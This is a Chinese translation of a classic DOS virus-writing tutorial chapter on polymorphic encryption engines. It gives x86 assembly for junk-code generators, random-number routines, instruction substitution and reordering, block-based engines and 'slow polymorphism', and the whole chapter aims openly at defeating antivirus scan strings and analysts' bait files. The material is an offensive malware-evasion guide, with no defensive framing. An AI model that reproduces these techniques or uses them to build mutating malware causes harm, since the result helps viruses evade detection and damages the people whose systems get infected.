Billy Belceb病毒編寫教程(DOS篇)---多型(polymorphism)

看雪資料發表於2015-11-15

【多型(polymorphism)】
~~~~~~~~~~~~~~~~~~~~
    這是病毒裡面最有意思的東西。編寫一個PER(Polymorphic Encryption Routine)也是非常有趣的,並且它將清楚地顯示病毒編寫者在編寫它的“方式”。這也是所有的初學者所認為的非常難的東西,並且只有一個有經驗的病毒編寫者可以做到。不要這麼認為!它非常的簡單。不要害怕。如果你看到這裡還活著的話,我肯定你將會看懂所有的東西。這一章是加密這一章的擴充套件。
    我們做一個PER的目標是在病毒編寫世界裡從不停止的東西:透過儘可能地減小我們病毒地掃描字串來擊敗病毒查殺工具,也就是FUCK'EM ALL! :)這個概念就是在每次感染的時候產生不同的解密程式,所以病毒查殺工具在檢測我們的病毒時將會受挫。並且這個技術,配合STEALTH,AEMOURING,ANTI-HEURISTICS和ANTI-BAILTS能使你的病毒更加強大。OK,讓我們開始這個有意思的話題。

%歷史%
~~~~~~
`   第一個想要編寫一個PER的嘗試的是由一個保加利亞人實現的,他可能是曾經最好的病毒編寫者之一,叫做Dark Avenger。他的病毒曾經,現在,將來都是所有病毒編寫者學習的榜樣。從他的初期的病毒,如Eddie,他顯示了編寫程式碼的高質量。但是,最好的實現是伴隨者MtE(Mutation Engine)引擎的釋出而出現的,在病毒史上第一個好的PER。所有的病毒查殺工具研究者在尋找基於這個引擎的病毒的掃描字串的時候,都快發瘋了。在經過反病毒界艱苦卓絕的努力之後,它們終於找到了對付MtE的一個可靠的掃描字串。但是,這才僅僅是噩夢的開始。Masud Khafir,TridenT 病毒研究組織的成員,開發了TPE,Phalcon Skism的Dark Angel開發了DAME(Dark Angel Multiple Encrypto),許多其他病毒研究者們開發了其它的很酷的引擎。當我們討論多型引擎的時候,我們必須考慮到這項技術是在1992年出現的,很久以前的事情了。它們僅僅是對付掃描字串的,這在如今,非常簡單啦。
    但是,如今,多型引擎有很多的敵人:程式碼分析,模擬,跟蹤,誘騙,還有有經驗的病毒查殺者在對付著我們。首先,病毒編寫者認為我們的解密程式的最好的選擇是使它儘可能的變化。但是,時間已經表明了這是一個錯誤的想法:病毒查殺者們將會感染成千的誘餌程式,為了看PER所能產生的所有可能的解密程式。如果我們有一小部分可能的解密程式洩露給它們(如利用日期來產生隨機數),我們正好迎合了他們的需要。他們有了一個掃描字串,但是在另外一臺計算機上,在另外一種情形下,這個掃描字串就不起作用了。這就叫做SLOW poly。我們將在這一章的另外一個地方看到。

%介紹%
~~~~~~
    一個多型引擎是一個病毒編寫者的最最私人的東西。這裡我必須對你說使用另外一個病毒作者的多型程式碼並不是一個好主意。編寫一個很好的PER非常的簡單,但是如果你使用另外一個病毒編寫者的程式碼,當你編寫你的病毒的時候將會受限制了。
    我們需要產生一個解密程式,在真正的解密程式碼裡設定廢程式碼,利用假的跳轉,呼叫,反除錯,所有我們想要的...讓我們看看在編寫我們的PER的時候必須要做的...

 - 產生許多方法來達到同一目的
 - 儘可能的改變我們的程式碼的順序
 - 可以在另外的病毒裡可以使用
 - 可以產生不做任何INT 21h功能的Call
 - 可以產生不做任何中斷的Call
 - 如果能夠,把它作成一個slow poly
 - 使所有的掃描字串最小
 - 利用armour保護指令產生器,使它在反彙編的時候非常困難。

    當你在做一個PER的時候,想象力是一個非常好的武器。利用它產生你能產生的儘可能多的東西。

%多型的第一步%
~~~~~~~~~~~~~~  
    編寫一個改變每一個病毒產生解密程式的最簡單的方法是建立一個垃圾程式碼產生器,然後在一些不做任何事情的指令後面放置一些解密指令。如果你還沒有建立一個引擎這是你能做的第一件事。第一種型別的垃圾程式碼是一個位元組的程式碼,這些我們所能使用的簡單的指令。我們在不做任何事情之前必須選擇產生所有垃圾程式碼的暫存器。我通常使用AX,BX和DX。讓我們看看一個位元組程式碼的一小小的表格:

 OneByteTable:
  db  09Eh      ; sahf
  db  090h      ; nop
  db  0F8h      ; clc
  db  0F9h      ; stc
  db  0F5h      ; cmc
  db  09Fh      ; lahf
  db  0CCh      ; int 3h
  db  048h      ; dec ax
  db  04Bh      ; dec bx
  db  04Ah      ; dec dx
  db  040h      ; inc ax
  db  043h      ; inc bx
  db  042h      ; inc dx
  db  098h      ; cbw
  db  099h      ; cwd
 EndOneByteTable:

    利用設定真正指令的簡單的例程,和其它的設定垃圾程式碼的例程,我們有一個非常簡單的多型引擎。在我們的第一步中非常有用,但是,如果你正編寫一個好病毒,你必須知道一件事情...如果有很多什麼也不做的指令,要確信病毒查殺工具將會顯示一個標誌。Erhm...我們該這樣得到其中的一個程式碼呢?相當簡單:

 GenerateOneByteJunk:
  lea  si,OneByteTable   ; Offset of the table
  call  random      ; Must generate random numbers
  and  ax,014h     ; AX must be within 0 and 14 ( 15 )
  add  si,ax      ; Add AX ( AL ) to the offset
  mov  al,[si]     ; Put selected opcode in al
  stosb        ; And store it in ES:DI ( points to
          ; the decryptor instructions )
  ret

    毫無疑問,我們需要一個隨機數產生器。下面給出一個最簡單的:

 Random:
  in  ax,40h      ; This will generate a random number
  in  al,40h      ; in AX
  ret

    利用上面的例程,我們所能做的是一個很差勁的引擎。我們的目標是其它的,所以請主意下面的討論。

%編寫一個簡單的操作的一些方法%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    現在幾乎有無窮的(當然不是啦...只是有成百萬的可能性而已)方法來往常一個簡單的指令任務。讓我們想象一個"mov dx,1234h",不使用其它的暫存器:

  mov  dx,1234h

  push  1234h
  pop  dx

  mov  dx,1234h xor 5678h
  xor  dx,5678h

  mov  dh,12h
  mov  dl,34h

  xor  dx,dx
  or  dx,1234h

  mov  dx,not 1234h
  not  dx
  [...]

    而且我們還可以有更多的組合。毫無疑問,如果我們使用另外的暫存器來完成我們的任務,可能性就更多了。

%改變指令的順序%
~~~~~~~~~~~~~~~~
    用我們想要的順序來編寫程式碼有很多指令。而且,結合執行一個簡單的程式碼的方法,能使我們的多型引擎真正的強大。
    通常,在解密迴圈之前的指令可以按照任何順序來排,除了所有的PUSH/POP組合,及相關的指令。我們現在討論的是來完成這個任務的不依賴於其它任務的程式碼。讓我們來看一個例子:

  mov  cx,encrypt_size
  mov  si,encrypt_begin
  mov  di,encrypt_key

    我們可以按我們想要的順序來安排這些指令,一個隨機的順序:)下面的程式碼能完成相同的任務:

  mov  di,encrypt_key
  mov  cx,encrypt_size
  mov  si,encrypt_begin

     利用相同的方法,所有的組合可能都能達到相同的目的。

%方便性(Portability)%
~~~~~~~~
    開發一個很輕便的多型引擎是很簡單的。所有我們必須做的是使我們的PER使用引數。例如,我們可以使用CX來處理要加密的大小,DS:DX指向要加密的程式碼。所以,用這個方法,我們就能在我們的病毒中使用我們的引擎。

%Tables against Blocks%
~~~~~~~~~~~~~~~~~~~~~~~
    基於PER的表:

    這種型別的引擎的精神是把產生垃圾程式碼(一個位元組的,假的中斷呼叫,算術操作...)的例程的偏移地址寫入另一個表格。然後,利用一個隨機的值,我們呼叫這些偏移地址中的一個,產生一個隨機的垃圾程式碼。讓我們來看一個例子:

 RandomJunk:
  call  Random      ; Random number in AX
  and  ax,(EndRandomJunkTable-RandomJunkTable)/2
  add  ax,ax      ; AX*2
  xchg  si,ax
  add  si,offset RandomJunkTable ; Point to table
  lodsw
  call  ax      ; Call to random table offset
  ret

 RandomJunkTable:
  dw  offset GenerateOneByteJunk
  dw  offset GenerateMovRegImm
  dw  offset GenerateMovRegMem
  dw  offset GenerateMathOp
  dw  offset GenerateArmour
  dw  offset GenerateCalls
  dw  offset GenerateJumps
  dw  offset GenerateINTs
  [...]
 EndRandomJunkTable:

     新增一個新的例程到一個基於PER的表非常簡單,而且這種型別的引擎可以非常的最佳化(取決於程式碼編寫者)。

    基於PER的塊:

    我們的目標是為解密程式的每一個指令,分成一些固定長度的塊。在29A#2由Spanska編寫的Elvira病毒中,我們已經有這種引擎型別的例子了。讓我們在Elvira引擎的一個塊中看一個例子,它比較CX和0。每一個塊都有一個確定的大小(6位元組)。

  cmp cx, 0
  nop
  nop
  nop

  nop
  nop
  nop
  cmp cx, 0

  nop
  or cx, cx
  nop
  nop
  nop

  nop
  nop
  nop
  or cx, cx
  nop

  test cx, 0FFFFh
  nop
  nop

  or cl, cl
  jne suite_or
  or ch, ch
  suite_or:

  mov bx, cx
  inc bx
  cmp bx, 1

  inc cx
  cmp cx, 1
  dec cx
  nop

  dec cx
  cmp cx, 0FFFFh
  inc cx
  nop

    正如你看到的,新增新塊來完成相同的任務更簡單。但是,這種型別的引擎有一個弱點:大小。Elvira的引擎佔了病毒的一半大小:病毒大小是4250位元組,引擎佔了病毒的2000-2500位元組。好處是透過新增更多的塊,我們可以為這個病毒設定更多的陷阱,使它仍然不能被病毒查殺工具檢測:)
    而贏家是...
    我認為表是解決問題的方法,因為我們可以產生這些塊的所有組合,還有更多。這些塊也是那些不想生活在痛苦中的人的解決方案:)

譯者注:下面省略一些彙編基礎知識的介紹,包括暫存器的介紹,指令,中斷呼叫等等,感興趣的可看原文。


%隨機數產生器%
~~~~~~~~~~~~~~ 
    這是你的PER中的一個最重要的部分。獲得隨機數的最簡單的方法是呼叫埠40h,看它返回什麼。讓我們看一些程式碼:

 random:
  in  ax,40h
  in  al,40h
  ret

    我們還可以使用INT 1Ah,或者我們認為能每次返回給我們不同數的東西。如果我們想要得到一定範圍的數,我們可以使用指令AND。讓我們來看看產生一定範圍的隨機數的最簡單的過程:

 random_in_range:
  push  bx
  xchg  ax,bx
  call  random
  and  ax,bx
  pop  bx
  ret

    它將會返回一個在0到AX-1之間的數。一個最佳化產生一個範圍的隨機數的方法是使用除法。記住除法能做什麼,要特別注意餘數。當我們做一個除法,餘數不可能比除數大(活相等)。所以,餘數只能在0到除數-1之間。讓我們看看使用除法的過程是怎麼實現的:

 random_in_range:
  push  bx dx
  xchg  ax,bx
  call  random
  xor  dx,dx
  div  bx
  xchg  ax,dx
  pop  dx bx
  ret

    正如你所看到的,相當簡單。關於隨機數的話題,我們在這一章的下一章還會繼續,慢多型(Slow polymorphism)。

%慢多型(Slow Polymorphism)%
~~~~~~~~~~~~~~~~~~~~~~~~~~~
    如果你知道這個東西是如何對付病毒查殺工具的,你會認為它是一項非常難的技術,或者其它想法。不。第一個多型引擎的作者認為對付病毒查殺工具的方法是使解密在每次都是變化的。對於初期的PER,這是一個很好的主意,但是,病毒查殺工具研究者們發現用一個具有多型的病毒感染成千的誘餌程式,他們就能發現所有的可能變異,然後,給他們的軟體新增一個簡單的掃描字串。但是...如果我們使得解密程式非常慢的話,將會發生什麼呢?於是,慢多型就應運而生了。是的,利用這個簡單的想法,看起來不起眼,我們能使病毒查殺工具研究者們發瘋了。為了獲得慢多型我們必須改變的最重要的東西是隨機數發生器。透過改變這個,我們就有了一個適合我們需要的慢變異引擎。我們可以證明它,但是它將和好地適合我們地需要。我們需要變化不快的值,如月,天或其它的一些東西,然後對他們玩些東西(如果你想要,毫無疑問了)。

 random_range:
  push  bx cx dx
  xchg  ax,bx
  mov  ax,2C00h
  int  21h
  xchg  ax,dx
  xor  ax,0FFFFh
  xor  dx,dx
  div  bx
  xchg  ax,dx
  pop  dx cx bx
  ret

    利用上述的例程,你的PER現在是100%慢多型了。我相信這個概念相當清晰了。
    另外,你可以嘗試著新增一個計數器來避免變異在一個很長的時間裡完成,但是我更願用這個技術來實現慢多型。

%高階多型%
~~~~~~~~~~
    下一步是高階多型了,你必須試著去產生實際的結構,如一個呼叫子例程、中斷的程式,和一些已知的數值玩玩,在條件跳轉前面作比較,做任何你能想象的事情。你必須不斷的提高的的多型引擎的變化性:如果它是慢的而且變化很多,病毒查殺工具將會受挫的。想象這個可能性:你可以自頂向底來解密你的程式碼,和使用si,di,bx或者其它你自己設定的作為記數暫存器,你可以為長例程新增一個發生器,如小的反除錯花招(neg sp/neg sp,not sp/not sp...),編制一個mid-virus(或者mid-file)解密程式,一個INT 1解密程式,編制不做任何事情的記憶體移動,不時地把字運算作為位元組運算,組合它們,代替它們...
    此外,你可以嘗試一些已經更高階地東西,如改進多型,和其它地東西。有一些關於這個事實的有趣的文章,如Methyl(即Owl[FS])的。

%關於多型的最後的討論%

    但是,在現實中,病毒查殺工具開發者將會千方百計的透過反編譯我們的慢多型引擎來獲得我們解密程式的所有可能性。
    但是,這裡就要保護我們的成果了。我們必須透過一個特別地加密例程來嚴重地保護我們的PER(它必須是一個反除錯地解密程式)。因為它們將不會有足夠地時間來反編譯我們地引擎,他們將看不到它所能做的所有東西:)你可以好好地選擇反除錯這一章裡裡提到的反除錯技術。所以,這次,它們將會把努力集中到誘餌上,並且我們必須避免感染這些無聊的檔案。更多的關於這個在反誘騙這一章裡;)
    我期待著你能編寫出震驚世界的PER!:)

相關文章